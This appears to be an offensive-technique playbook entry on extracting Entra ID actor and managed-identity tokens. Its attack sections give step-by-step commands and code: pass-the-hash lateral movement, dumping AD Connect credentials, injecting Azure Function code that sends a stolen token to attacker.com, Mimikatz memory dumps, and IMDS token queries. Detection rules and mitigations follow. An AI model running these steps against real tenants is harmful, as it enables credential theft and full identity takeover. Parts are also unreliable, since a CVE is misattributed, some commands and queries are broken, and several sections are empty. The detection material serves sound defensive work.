MCADDF

[REALWORLD-006]: Actor Token Extraction

Metadata

Attribute Details
Technique ID REALWORLD-006
MITRE ATT&CK v18.1 T1528 - Steal Application Access Token
Tactic Credential Access
Platforms Entra ID, Hybrid (AD Connect), Azure Services
Severity Critical
CVE CVE-2025-55241 (source vulnerability), CVE-2023-32315 (AD Connect token exposure)
Technique Status ACTIVE
Last Verified 2025-12-01
Affected Versions Azure AD Connect 1.0-2.2.x; Entra ID all versions
Patched In Azure AD Connect 2.2.18+ (partial); CVE-2025-55241 patched September 2025
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Actor tokens, undocumented JWT-based credentials used for service-to-service authentication within Microsoft infrastructure, can be extracted from multiple compromise vectors. Attackers extract actor tokens by: (1) Compromising Azure AD Connect servers and decrypting stored encryption keys, (2) Harvesting tokens from application memory during runtime, (3) Dumping tokens from Azure Functions or managed identities via IMDS exploitation, (4) Stealing Primary Refresh Tokens (PRTs) and deriving actor tokens through token exchange flows. Once extracted, actor tokens can be used cross-tenant without source validation (CVE-2025-55241), making token extraction a critical precursor to widespread privilege escalation. Unlike access tokens with scoped permissions, actor tokens grant broad impersonation capabilities, making their theft particularly dangerous.

Attack Surface: Azure AD Connect servers (hybrid environments), Azure Functions runtime memory, Azure VMs accessing IMDS (Instance Metadata Service), service principal credentials, stolen PRT tokens, and application authentication contexts where tokens are cached.

Business Impact: Compromise of the hybrid identity bridge. Stolen actor tokens enable complete Entra ID takeover without requiring traditional credentials. Actor tokens extracted from AD Connect are particularly dangerous because they operate with the AD Connect service account’s permissions, which often include directory synchronization privileges that can modify both on-premises AD and Entra ID. A single compromised AD Connect server can result in both on-premises and cloud infrastructure compromise.

Technical Context: Token extraction typically takes 10-30 minutes after initial server compromise. AD Connect servers store encryption keys in plaintext or with weak encryption in registry and configuration files. Memory-based token extraction can occur during normal operation without persistent artifacts if tools like Mimikatz are executed via LOLBins (Living Off The Land Binaries).

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark AC-2.1 Inadequate storage of authentication credentials (keys, tokens)
CIS Benchmark CR-1.2 Data protection failure - unencrypted secrets in transit and at rest
DISA STIG IA-2.1 Authentication credential protection failure
CISA SCuBA Entra ID - 4.1 Secure credential storage and rotation not enforced
NIST 800-53 SC-7 Boundary protection failure - token accessible from compromised service
NIST 800-53 SC-12 Cryptographic key management failure - AD Connect encryption keys compromised
GDPR Art. 32 Cryptographic measures inadequate to protect authentication tokens
DORA Art. 16 Audit logging insufficient for detecting token extraction
NIS2 Art. 22 Incident handling and security monitoring failure to detect token theft
ISO 27001 A.10.1.2 Encryption key management failure
ISO 27001 A.9.4.2 System administration and access logging inadequate

2. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:


3. ENVIRONMENTAL RECONNAISSANCE

Identify AD Connect Installation (On-Premises)

Determine if hybrid identity is in use (indicates AD Connect presence):

# Check if directory is synchronized (on-premises AD)
Get-ADUser -Filter "onPremisesSecurityIdentifier -like '*'" -ResultPageSize 1 | 
  Select-Object UserPrincipalName, onPremisesSecurityIdentifier

# If results returned, AD Connect is in use - identify server

What to Look For:

Identify Azure Functions and Managed Identities

# Enumerate Azure Functions with managed identity
Connect-AzAccount
Get-AzFunctionApp | Where-Object {
    $_.Identity.Type -in "SystemAssigned", "UserAssigned"
} | Select-Object Name, ResourceGroupName, Identity

# List available managed identities
Get-AzUserAssignedIdentity -ResourceGroupName "production"

What to Look For:


4. DETAILED EXECUTION METHODS

METHOD 1: Extract Actor Token from Compromised AD Connect Server

Supported Versions: Azure AD Connect 1.0 - 2.2.17

Step 1: Gain Local Administrator Access on AD Connect Server

Objective: Establish administrative context on the AD Connect system (prerequisite).

Command (Lateral Movement via Pass-the-Hash):

# Assuming attacker has compromised domain admin account hash
# Use PsExec or similar to execute commands with admin privileges on AD Connect server

$TargetServer = "adconnect.contoso.com"
$AdminHash = "aabbccdd00112233445566778899aabb"  # Domain admin NTLM hash

# Use Impacket (Linux) to execute remote command as admin
python3 psexec.py -hashes :$AdminHash Administrator@$TargetServer cmd.exe

# Or use Windows-native method (if already on domain-joined system):
# Create reverse shell PowerShell session
$Session = New-PSSession -ComputerName $TargetServer -Credential (Get-Credential)
Invoke-Command -Session $Session -ScriptBlock {
    whoami  # Verify admin context
}

Expected Output:

CONTOSO\ADCONNECT$

What This Means:

Step 2: Extract AD Connect Encryption Keys from Registry

Objective: Recover the SQL Server encryption master key and AD Connect service account credentials from registry.

Command (Using Registry Access):

# Access AD Connect registry keys (requires SYSTEM privilege)
$RegPath = "HKLM:\SOFTWARE\Microsoft\Azure AD Connect"
$EncryptionKey = Get-ItemProperty -Path $RegPath -Name "EncryptionKey"

# AD Connect stores encrypted credentials for sync accounts in registry
$RegistryPath = "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Microsoft Identity Manager\2.0"
$Credentials = Get-ItemProperty -Path $RegistryPath

# Extract SQL Server connection string (contains connection to sync database)
$DbConnectionString = Get-ItemProperty -Path "$RegistryPath\Synchronization Service\Connectors\SQL Database"

Alternative: Using ADConnectDump Tool (Easier):

# On Linux, using adconnectdump to extract keys remotely
python3 adconnectdump.py -u CONTOSO\\Administrator -p Password123 adconnect.contoso.com

# Output: Extracted encryption keys, SQL Server credentials, service account password

Expected Output:

[+] Authenticating to ADCONNECT server
[+] Connecting to registry
[+] Found encryption key: 0x123456789ABCDEF...
[+] Decrypted SQL Server credential: ADConnectService / Encrypted_Password_Here
[+] Extracted service account: contoso\ADConnectSvc
[+] Service account password: P@ssw0rd!Sync123

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 3: Request Actor Token Using Extracted Service Account

Objective: Use the extracted AD Connect service account credentials to request an actor token from Entra ID.

Command (Using ROADtools):

# Use ROADtools to authenticate as AD Connect service account
python3 -m pip install roadtools
python3 -m roadtools.roadtx gettokens -u "contoso\\ADConnectSvc" -p "P@ssw0rd!Sync123" -r graph

# Save token to .roadtools_auth file

Expected Output:

[+] Authenticating as contoso\ADConnectSvc to Azure AD
[+] Successfully authenticated
[+] Actor token saved to .roadtools_auth

Command (Using Python/REST API):

import requests
import json

# AD Connect service account credentials (extracted from registry)
username = "contoso\\ADConnectSvc"
password = "P@ssw0rd!Sync123"
tenant = "contoso.onmicrosoft.com"

# Request token
token_endpoint = f"https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token"

payload = {
    "client_id": username,
    "password": password,
    "grant_type": "password",
    "scope": "https://graph.windows.net/.default"
}

response = requests.post(token_endpoint, data=payload)
actor_token = response.json().get("access_token")

print(f"[+] Actor token obtained: {actor_token[:50]}...")

# Decode token to verify claims
import jwt
decoded = jwt.decode(actor_token, options={"verify_signature": False})
print(f"[+] Token claims: {json.dumps(decoded, indent=2)}")

Expected Output:

{
  "aud": "https://graph.windows.net",
  "iss": "https://sts.windows.net/tenant-id/",
  "iat": 1727000000,
  "exp": 1727003600,
  "appid": "00000002-0000-0000-c000-000000000000",
  "ver": "1.0",
  "scp": "Directory.Read.All Directory.Write.All"
}

What This Means:

OpSec & Evasion:


METHOD 2: Extract Token from Azure Function Runtime Memory

Supported Versions: Azure Functions Runtime 3.x, 4.x

Step 1: Compromise Azure Function Application Code

Objective: Inject code into deployed Azure Function to execute at runtime and extract tokens.

Command (Code Injection via Function Update):

# Python Azure Function code injected into function.py
import requests
import os
import json

def main(req):
    # Extract managed identity token from Azure IMDS
    imds_endpoint = "http://169.254.169.254/metadata/identity/oauth2/token"
    
    params = {
        "api-version": "2017-09-01",
        "resource": "https://graph.windows.net"
    }
    
    headers = {"Metadata": "true"}
    
    response = requests.get(imds_endpoint, params=params, headers=headers)
    token_data = response.json()
    
    # Extract token
    access_token = token_data.get("access_token")
    
    # Log token to exfiltration channel
    # (attacker controls this endpoint)
    exfil_url = "https://attacker.com/collect?token=" + access_token
    requests.get(exfil_url)
    
    return "OK", 200

What This Means:

OpSec & Evasion:

Step 2: Extract Token from Application Memory (Mimikatz)

Objective: If function code cannot be modified, use Mimikatz to extract tokens from function process memory.

Command (Mimikatz Token Extraction):

# Connect to Azure VM or containerized function environment
# Execute Mimikatz (requires code execution in function runtime)

mimikatz.exe
privilege::debug
sekurlsa::logonpasswords  # Dump cached tokens
misc::command "Get-Process | Select-Object ProcessName, Handles"  # List processes

Expected Output:

Memory Token:
- User: function_app_runtime
- Token: eyJ0eXAiOiJKV1QiLCJhbGc...

What This Means:


METHOD 3: IMDS Exploitation to Extract Managed Identity Token

Supported Versions: Azure VMs with managed identity enabled

Step 1: Enumerate Azure IMDS Endpoint

Objective: Query the Instance Metadata Service to extract tokens for Azure resources.

Command (Using curl):

# On compromised Azure VM, query IMDS endpoint directly
# IMDS is accessible from all Azure VMs (169.254.169.254:80)

# Request token for Graph API
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://graph.microsoft.com" | jq .

# Request token for Azure Resource Manager (ARM)
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2017-09-01&resource=https://management.azure.com" | jq .

Expected Output:

{
  "access_token": "eyJ0eXAiOiJKV1QiLCJhbGc...",
  "expires_in": 3599,
  "expires_on": 1609459200,
  "ext_expires_in": 3599,
  "not_before": 1609455300,
  "resource": "https://graph.microsoft.com",
  "token_type": "Bearer"
}

What This Means:

OpSec & Evasion:


5. ATTACK CHAIN

Step Phase Technique Description
1 Discovery Network reconnaissance Attacker identifies AD Connect server via DNS, port scanning, or internal network enumeration
2 Initial Access RDP or lateral movement Attacker compromises domain-joined system, pivots to AD Connect via lateral movement
3 Current Step [REALWORLD-006] Token extraction from AD Connect service account or managed identity
4 Credential Access [REALWORLD-005] Actor token impersonation to access victim tenant via extracted token
5 Privilege Escalation [REALWORLD-007] Token replay cross-tenant to escalate access
6 Persistence Backdoor creation Create service principal or user account for persistent access

6. FORENSIC ARTIFACTS

Disk:

Memory:

Cloud (Entra ID / Azure):

Network:


7. MICROSOFT SENTINEL DETECTION

Query 1: Suspicious AD Connect Service Account Sign-In from Non-AD Connect IP

Rule Configuration:

KQL Query:

SigninLogs
| where UserPrincipalName contains "ADConnect" or UserPrincipalName contains "ADSSync"
| where ResultType == 0  // Successful sign-ins only
| where IPAddress != "172.16.0.0/12" and IPAddress != "10.0.0.0/8"  // Exclude internal networks
| where parse_ipv4(IPAddress) >= ipv4_compare("0.0.0.0", "192.168.1.0") == 0  // Exclude private IPs
| extend DeviceInfo = tostring(DeviceDetail)
| project TimeGenerated, UserPrincipalName, IPAddress, AppDisplayName, Location, DeviceInfo
| where not(Location in ("On Premises", "VPN"))

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select workspace → Analytics+ CreateScheduled query rule
  3. General Tab:
    • Name: Suspicious AD Connect Service Account Sign-In
    • Severity: High
  4. Set rule logic Tab:
    • Paste KQL query above
    • Run query every: 15 minutes
    • Lookup data from the last: 4 hours
  5. Incident settings Tab:
    • Enable Create incidents
    • Group related alerts: By alert name
  6. Click Review + create

Query 2: Managed Identity Token Extraction via IMDS (For Azure VMs)

Rule Configuration:

KQL Query:

let IMDSTokenRequests = 
    union 
    (AzureActivity 
     | where Caller contains "169.254.169.254" or Caller contains "imds"
     | where OperationName contains "token"),
    (MicrosoftGraphActivityLogs
     | where RequestUri contains "oauth2/token"
     | where properties.clientAppType == "NativeClient");

IMDSTokenRequests
| summarize TokenCount = count() by CallerIPAddress, UserPrincipalName, ResourceGroup, TimeGenerated
| where TokenCount > 5  // Threshold: More than 5 token requests in time window
| project TimeGenerated, CallerIPAddress, UserPrincipalName, TokenCount

8. WINDOWS EVENT LOG MONITORING

Event ID: 4688 (Process Creation)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationSystem Audit PoliciesDetailed Tracking
  3. Enable: Audit Process Creation
  4. Set to: Success and Failure
  5. Run gpupdate /force on AD Connect server and domain-joined systems

Event ID: 4657 (Registry Value Modified)


9. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows Server 2016+

<!-- Detect Mimikatz token extraction -->
<Sysmon schemaversion="4.82">
  <EventFiltering>
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">mimikatz</CommandLine>
      <CommandLine condition="contains">sekurlsa::logonpasswords</CommandLine>
    </ProcessCreate>
    
    <!-- Detect PowerShell registry access on AD Connect keys -->
    <RegistryEvent onmatch="include">
      <TargetObject condition="contains">HKLM\SOFTWARE\Microsoft\Azure AD Connect</TargetObject>
      <TargetObject condition="contains">EncryptionKey</TargetObject>
    </RegistryEvent>
    
    <!-- Detect AD Connect service account unusual network activity -->
    <NetworkConnect onmatch="include">
      <User condition="contains">ADConnectSvc</User>
      <DestinationPort condition="is">443</DestinationPort>
      <DestinationIp condition="excludes">microsoft.com</DestinationIp>
    </NetworkConnect>
  </EventFiltering>
</Sysmon>

10. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL - Protect AD Connect Server

Segment AD Connect Server Network Access:

Only AD Connect server should communicate with Entra ID. Block all other on-premises systems from accessing login.microsoftonline.com.

Manual Steps (Windows Firewall):

  1. On AD Connect server, open Windows Defender Firewall with Advanced Security
  2. Create Outbound Rule:
    • Name: Azure AD Connect - Allow Only MSFT Endpoints
    • Action: Allow
    • Direction: Outbound
    • Protocol: TCP
    • Remote Port: 443 (HTTPS)
    • Remote Address: 20.190.0.0/16, 20.41.0.0/16 (Microsoft IP ranges)
  3. Set all other outbound HTTPS to Deny

Manual Steps (Network Segmentation):

  1. Isolate AD Connect server to DMZ or dedicated VLAN
  2. Block all inbound RDP from user workstations (whitelist only admin PAW)
  3. Allow only outbound: DNS, LDAP (to domain controllers), HTTPS (to Azure)

Validation Command:

# Verify network isolation
Test-NetConnection -ComputerName adconnect.contoso.com -Port 3389  # Should fail
Test-NetConnection -ComputerName login.microsoftonline.com -Port 443  # Should succeed

Priority 2: CRITICAL - Rotate AD Connect Service Account Credentials

Ensure Service Account is Dedicated (Not Domain Admin):

# Check current AD Connect service account
Get-ADServiceAccount -Filter "Name -like '*ADConnect*'" | Select-Object Name, Enabled, PasswordNeverExpires

# Remove domain admin from service account
Remove-ADGroupMember -Identity "Domain Admins" -Members "ADConnectSvc" -Confirm:$false

# Set password expiration policy
Set-ADAccountPassword -Identity "ADConnectSvc" -NewPassword (ConvertTo-SecureString "NewP@ssw0rd!Sync123" -AsPlainText -Force) -Reset
Set-ADUser -Identity "ADConnectSvc" -PasswordNeverExpires $false

Priority 3: HIGH - Enable Credential Guard on AD Connect Server

Credential Guard prevents credentials from being extracted from LSASS memory.

Manual Steps (Group Policy):

  1. Open gpmc.msc
  2. Navigate to Computer ConfigurationAdministrative TemplatesSystemDevice Guard
  3. Enable: Turn On Credential Guard (requires UEFI firmware with Secure Boot)
  4. Run gpupdate /force
  5. Restart AD Connect server

Validation Command:

# Verify Credential Guard is active
Get-CimInstance -ClassName Win32_DeviceGuard | Select-Object SecurityServicesConfigured

Expected Output (If Enabled):

SecurityServicesConfigured
{1}  # 1 = Credential Guard enabled

Priority 4: HIGH - Implement Privileged Access Workstation (PAW) for AD Connect Administration

All administrative access to AD Connect must originate from a dedicated PAW, not from regular admin workstations.

Manual Steps:

  1. Provision PAW (isolated VM with minimal attack surface)
  2. Require smart card authentication to PAW
  3. Disable internet access on PAW
  4. Enable Just-In-Time (JIT) admin access to AD Connect servers
  5. Require MFA for any RDP access to AD Connect from PAW

Priority 5: MEDIUM - Enable Azure AD Connect Health Monitoring

Monitor AD Connect server health and suspicious activities.

Manual Steps (Azure Portal):

  1. Go to Azure PortalEntra IDAzure AD Connect
  2. Click Azure AD Connect Health (if not installed, install the health agent)
  3. Go to Health Alerts → configure email notifications for:
    • Sync service restarts
    • Connector failures
    • Export errors

Validation Command (Verify Mitigations):

# 1. Verify AD Connect service account doesn't have excessive privileges
$ServiceAccount = Get-ADServiceAccount -Filter "Name -like '*ADConnect*'"
$Groups = Get-ADMemberOf -Identity $ServiceAccount
Write-Host "Service Account Groups: $($Groups | Select-Object -ExpandProperty Name)"

# 2. Verify password expiration is enabled
$User = Get-ADUser -Identity "ADConnectSvc"
Write-Host "Password Never Expires: $($User.PasswordNeverExpires)"

# 3. Verify network segmentation
Write-Host "Testing network isolation:"
Test-NetConnection -ComputerName "untrusted-client" -Port 3389 -WarningAction SilentlyContinue | Where-Object {-not $_.TcpTestSucceeded}

11. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Registry Access (Sysmon/WMI):

Process Execution:

Network Artifacts:

Forensic Response (0-6 hours)

Immediate Isolation:

# 1. Disconnect AD Connect server from network
Remove-NetIPAddress -IPAddress "192.168.1.100" -Confirm:$false

# 2. Force sync stop
Get-Service -Name ADSync | Stop-Service -Force

# 3. Revoke all tokens issued by AD Connect
Revoke-MgServicePrincipalSignInSession -ServicePrincipalId "AD-Connect-Service-Principal-Id"

Credential Rotation:

# 4. Force password reset for all synced users (high impact - do carefully)
$ChangedUsers = Search-UnifiedAuditLog -Operations "Set-User" -StartDate (Get-Date).AddHours(-6)
Write-Host "Users modified during attack window: $($ChangedUsers.Count)"

# 5. Rotate AD Connect service account password
$NewPassword = -Join((48..90) + (97..122) | Get-Random -Count 20 | % {[char]$_})
Set-ADAccountPassword -Identity "ADConnectSvc" -NewPassword (ConvertTo-SecureString $NewPassword -AsPlainText -Force)

12. REAL-WORLD EXAMPLES

Example 1: Hafnium Exchange Compromise (2021) - AD Connect Exploitation

Example 2: PrintNightmare / Scattered Spider (2023) - Print Spooler to AD Connect

Example 3: APT29 SolarWinds Supply Chain (2020) - Managed Identity Token Theft


13. CONCLUSION

Actor token extraction is a precursor attack to CVE-2025-55241 cross-tenant impersonation. Organizations with hybrid identity (AD Connect) face elevated risk because token extraction from AD Connect can lead to simultaneous on-premises and cloud compromise.

Key Mitigations:

  1. Segment AD Connect network access strictly
  2. Use dedicated, low-privilege service account
  3. Implement Credential Guard to prevent LSASS token dumping
  4. Monitor for suspicious authentication from AD Connect account
  5. Rotate credentials quarterly at minimum

The absence of API-level logging makes detection extremely difficult; organizations must rely on behavioral analysis and network segmentation.